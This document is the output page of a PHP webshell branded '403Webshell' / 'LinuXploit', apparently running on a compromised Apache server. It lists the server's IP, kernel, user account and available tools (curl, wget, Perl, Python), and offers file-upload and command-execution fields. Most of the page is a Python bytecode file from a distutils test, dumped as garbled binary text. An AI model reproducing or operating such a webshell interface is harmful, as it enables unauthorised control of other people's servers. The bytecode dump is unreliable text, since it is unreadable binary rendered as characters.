403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/distutils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/distutils/tests/__pycache__/test_file_util.cpython-36.opt-2.pyc
3

�
�^�@s�ddlZddlZddlZddlmZddlmZmZddlm	Z	ddl
mZddlm
Z
ddlmZGdd	�d	ejej�Zd
d�Zedkr�ee��dS)
�N)�patch)�	move_file�	copy_file)�log)�support)�DistutilsFileError)�run_unittestcsXeZdZdd�Z�fdd�Z�fdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
�ZS)�FileUtilTestCasecGs.t|�dkr|jj||�n|jj|�dS)Nr)�len�_logs�append)�self�msg�args�r�3/opt/alt/python36/lib64/python3.6/test_file_util.py�_logszFileUtilTestCase._logcs`tt|�j�g|_tj|_|jt_|j�}t	j
j|d�|_t	j
j|d�|_
t	j
j|d�|_dS)N�f1�f2Zd1)�superr	�setUprr�info�old_logrZmkdtemp�os�path�join�source�target�
target_dir)r
Ztmp_dir)�	__class__rrrszFileUtilTestCase.setUpcs|jt_tt|�j�dS)N)rrrrr	�tearDown)r
)rrrr szFileUtilTestCase.tearDownc
Cs�t|jd�}z|jd�Wd|j�Xt|j|jdd�g}|j|j|�t|j|jdd�t|j|jdd�d|j|jfg}|j|j|�t|j|jdd�g|_tj	|j
�t|j|j
dd�d|j|j
fg}|j|j|�dS)N�wzsome contentr)�verbose�zmoving %s -> %s)�openr�write�closerr�assertEqualrr�mkdirr)r
�fZwantedrrr�test_move_file_verbosity#s"
z)FileUtilTestCase.test_move_file_verbositycCsltdtdd�d��P|jt��:t|jd��}|jd�WdQRXt|j|jdd�WdQRXWdQRXdS)	Nz	os.rename�wrongr#)�side_effectr!z	spam eggsr)r")	r�OSError�assertRaisesrr$rr%rr)r
�fobjrrr�)test_move_file_exception_unpacking_rename?s
z:FileUtilTestCase.test_move_file_exception_unpacking_renamec!Cs�tdttjd�d��ntdtdd�d��P|jt��:t|jd��}|jd�WdQRXt	|j|j
dd	�WdQRXWdQRXWdQRXdS)
Nz	os.renamer+)r,z	os.unlinkr#r!z	spam eggsr)r")rr-�errnoZEXDEVr.rr$rr%rr)r
r/rrr�)test_move_file_exception_unpacking_unlinkGsz:FileUtilTestCase.test_move_file_exception_unpacking_unlinkcCs�t|jd��}|jd�WdQRXtj|j�}t|j|jdd�tj|j�}tj|j�}|jtjj	||�||f�|jtjj	||�||f�t|jd��}|j
|j�d�WdQRXdS)Nr!zsome content�hard)�link�r)r$rr%r�statrr�
assertTruer�samestatr'�read)r
r)�st�st2�st3rrr�test_copy_file_hard_linkPsz)FileUtilTestCase.test_copy_file_hard_linkcCs�t|jd��}|jd�WdQRXtj|j�}tdtdd�d��t|j|jdd�WdQRXtj|j�}tj|j�}|j	tj
j||�||f�|jtj
j||�||f�x:|j|jfD]*}t|d	��}|j
|j�d�WdQRXq�WdS)
Nr!zsome contentzos.linkrzlinking unsupported)r,r3)r4r5)r$rr%rr6rr-rrr7rr8ZassertFalser'r9)r
r)r:r;r<�fnrrr� test_copy_file_hard_link_failure\sz1FileUtilTestCase.test_copy_file_hard_link_failure)�__name__�
__module__�__qualname__rrr r*r0r2r=r?�
__classcell__rr)rrr	
s
	r	cCs
tjt�S)N)�unittestZ	makeSuiter	rrrr�
test_suitensrE�__main__)rDrr1Z
unittest.mockrZdistutils.file_utilrrZ	distutilsrZdistutils.testsrZdistutils.errorsrZtest.supportrZTempdirManagerZTestCaser	rEr@rrrr�<module>sa

Youez - 2016 - github.com/yon3zu
LinuXploit